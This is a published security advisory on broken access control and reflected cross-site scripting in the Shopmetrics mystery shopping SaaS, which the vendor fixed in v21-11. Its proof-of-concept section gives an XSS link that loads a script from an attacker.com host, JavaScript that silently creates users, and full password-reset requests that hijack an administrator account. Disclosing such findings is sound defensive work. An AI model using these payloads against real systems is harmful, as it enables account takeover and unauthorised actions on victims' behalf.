Broken access control & Cross-Site Scripting in Shopmetrics Mystery Shopping Software

Title

Broken access control & Cross-Site Scripting

Product

Shopmetrics Mystery Shopping Software

Vulnerable Version

SaaS platform before v21-11

Fixed Version

SaaS platform v21-11

CVE Number

n/a for SaaS

Impact

critical

Found

06.05.2021

By

D. Zalmanov and A. Vodyasov (Office Moscow)

The Shopmetrics Mystery Shopping software (SaaS) was affected by a broken access control vulnerability, which allowed attackers to exploit the password reset feature in order to gain access to arbitrary user accounts of the platform, including administrative users. Furthermore, it was affected by cross-site scripting vulnerabilities which allowed an attacker to perform actions in the context of the attacked user.

Vendor description

"Founded in 2004, Shopmetrics is a company that offers technology platform solutions to mystery shopping and market research providers worldwide. Today Shopmetrics is a global organization with offices in North America and Europe. With over 80 full-time,  dedicated developers and product specialists we are committed to providing technology that is the industry benchmark in mystery shopping and market research."

Source: shopmetrics.com/Company.asp


Business recommendation

The solution is provided as software as a service. The current version as of v21-11 already contains the fix and all users should be protected.

An in-depth security analysis performed by security professionals is highly advised, as the software may be affected from further security issues.


Vulnerability overview/description

1) Reflected cross site scripting

A reflected cross site scripting vulnerability was identified on various input fields in the application. An attacker is able to perform actions in the context of the attacked user by exploiting this vulnerability.   


2) Broken Access Control

Users of the web application are required to supply a username and password combination in order to login. This identification mechanism is used in order to ensure that only those who possess the proper credentials are able to login to the application, while unauthorized users cannot.

A user who has forgotten or misplaced their password is able to request that their password be reset by supplying a valid email address.

Therefore, it is of the utmost importance to ensure that unauthorized users – whether accidentally or intentionally – will not be able to step outside the scope of their permission boundaries. This means, inter alia, that the tier’s logic may not be manipulated by the client-side input and that the logic is confined to parameters defined solely by the server.

It was identified that due to flaws in the authorization scheme, an authorization bypass vulnerability allows an attacker to get access to the restricted password reset functionality, which allows an attacker with knowledge of a valid email address, to reset any password and hijack a user account.


Proof of concept

1) Reflected cross site scripting

The request to create a new user looks like the following:

POST /document.asp?alias=mystadministration.user.manage HTTP/2
[...]

CreateUser_mode=INSERT_COMMIT&PCmsFormID=CreateUser&securityuserobjectid=&type=&Login=&password=password%21&
firstname=xyz&lastname=xyz&companyname=xyz&gender=M&address1=xyz&address2=xyz&city=xyz&
state_region=BD&country=GB&language=en-us&postalcode=12312&phonehome=2131221321321&phonework=2132132121321&
phonemobile=32132121321&fax=213321321321&email=user%40victim.com&timezone=27&defaultWelcomePage=&isdisabled=N

In a live attack scenario the following JavaScript code will be hosted on the attacker's server.

var data="CreateUser_mode=INSERT_COMMIT&PCmsFormID=CreateUser&securityuserobjectid=&type=&Login=&password=password%21&
firstname=xyz&lastname=xyz&companyname=xyz&gender=M&address1=xyz&address2=xyz&
city=xyz&state_region=BD&country=GB&language=en-us&postalcode=12312&phonehome=2131221321321&
phonework=2132132121321&phonemobile=32132121321&fax=213321321321&email=user%40victim.com&
timezone=27&defaultWelcomePage=&isdisabled=N";
var url="https://shopmetricshost/document.asp?alias=mystadministration.user.manage";
var http=new XMLHttpRequest();

http.open('POST', url, true);
http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
http.send(data)

When the logged-in victim clicks on the following link, the script will be executed in the context of the browser and the new user will be created.

https: //shopmetricshost/open/data.asp?post={%22action%22:%22exec%22,%22dataset%22:
{%22datasetname%22:%22/System/Platform/Globalization/LiteralsGetTranslations%22,%22dataformat%22:%22simple%22,%22datafieldproperties%22:{%22columns%22:[%22name%22]}},
%22parameters%22:[{%22name%22:%22LiteralIDs%22,
%22value%22:%22XXX%3C%3E%3Chtml%3E%3Cscript+src%3dhttps%3a//attacker.com%3a4443/payload.js%3E%3C/script%3E%3C/html%3EYYY%22}]} 


2) Broken Access Control

There is a password reset functionality in the application. The following request is sent when the user tries to reset the password.

POST /open/data.asp HTTP/2
[...]

post={"action"%3a"getdata","dataset"%3a{"datasetname"%3a"/System/Platform/Entities/EntityExecuteActionV2",
"dataformat"%3a"simple","datafieldproperties"%3a{"columns"%3a["name"]}},
"parameters"%3a[{"name"%3a"SecurityObjectUserID","value"%3anull},{"name"%3a"Action","value"%3a"U"},
{"name"%3a"EntityName","value"%3a"ChangePassword"},{"name"%3a"EntityInstanceID","value"%3anull},
{"name"%3a"ViewStateEventLogAddChunk","value"%3a"¬H¬2¬¬S¬1619442013259¬ ¬aa¬¬2021-04-13_11%3a21%3a¬- ¬P¬¬34|
BEBC7966-668A-4AC6-B3DE-1180EB3F8704¬S¬0¬- ¬F¬2¬9543¬S¬1¬- ¬I¬¬¬S¬2¬- D¬B¬0¬1¬V-6¬- D¬y¬¬user%40victim.com¬T¬0¬- D¬q.D¬1¬0¬T¬1¬- F¬S¬1¬0¬¬0¬- F¬C¬1¬0¬T¬0¬- x¬S¬1¬0¬¬1¬- x¬C¬1¬0¬T¬0¬- XYZ¬V¬0¬3¬¬101¬- y¬y¬¬newpass¬U¬15162¬- y¬B¬0¬1¬V¬13¬- z¬y¬¬newpass¬U¬5983¬- z¬B¬0-1¬V¬3¬-"},{"name"%3a"EntityAttachmentsList","value"%3anull},{"name"%3a"MiscSettings","value"%3a"[NOREAD][MISC_TOKEN%3aD196E12C550147DEB073F4A1C64EF782B25746008F334B36A6F35A0929AD98DB]"}]}

There is no integrity check of the parameters of this request. Therefore, an attacker can supply any email to this request and the password of the account, which is connected to the supplied e-mail, will be changed to the password value controlled by an attacker. For example, the request to change the password of the admin user with e-mail admin@victim.com (Administrator user). 

POST /open/data.asp HTTP/2
[...]

post={"action"%3a"getdata","dataset"%3a{"datasetname"%3a"/System/Platform/Entities/EntityExecuteActionV2",
"dataformat"%3a"simple","datafieldproperties"%3a{"columns"%3a["name"]}},"parameters"%3a[{"name"%3a"SecurityObjectUserID","value"%3anull},{"name"%3a"Action","value"%3a"U"},{"name"%3a"EntityName","value"%3a"ChangePassword"},
{"name"%3a"EntityInstanceID","value"%3anull},{"name"%3a"ViewStateEventLogAddChunk","value"%3a"¬H¬2¬¬S¬1619442013259¬ ¬aa¬¬2021-04-13_11%3a21%3a15¬¬0¬- ¬ab¬-Mozilla/5.0+(Windows+NT+10.0%3b+Win64%3b+x64%3b+rv%3a88.0)+Gecko/20100101+Firefox/88.0¬¬1¬- ¬P¬¬34|
BEBC7966-668A-4AC6-B3DE-1180EB3F8704¬S¬0¬- ¬F¬2¬9543¬S¬1¬- ¬I¬¬¬S¬2¬- D¬B¬0¬1¬V-6¬- D¬y¬¬admin%40victim.com¬T¬0¬- D¬q.D¬1¬0¬T¬1¬- F¬S¬1¬0¬¬0¬- F¬C¬1¬0¬T¬0¬- x¬S¬1¬0¬¬1¬- x¬C¬1¬0¬T¬0¬- XYZ¬V¬0¬3¬¬101¬- y¬y¬¬AttackerPassword¬U¬15162¬- y¬B¬0¬1¬V¬13¬- z¬y¬-AttackerPassword¬U¬5983¬- z¬B¬0¬1¬V¬3¬-"},{"name"%3a"EntityAttachmentsList","value"%3anull},
{"name"%3a"MiscSettings","value"%3a"[NOREAD][MISC_TOKEN%3aD196E12C550147DEB073F4A1C64EF782B25746008F334B36A6F35A0929AD98DB]"}]}

After this request an attacker can successfully login as admin user with the password "AttackerPassword".


Vulnerable / tested versions

No version number is available as the solution is provided as software as a service (SaaS). The product was affected by the vulnerability during the timeframe of the test and until it was fixed later in 2021.


Vendor contact timeline

The vendor was contacted through a third party. The vendor confirmed on 7th December 2021 that the advisory could be published.


Solution

The solution is provided as software as a service. The current version as of v21-11 contains the fix and all users should be protected.


Workaround

None


Advisory URL

sec-consult.com/vulnerability-lab/

 

EOF D. Zalmanov and  A. Vodyasov (Office Moscow) / @2022

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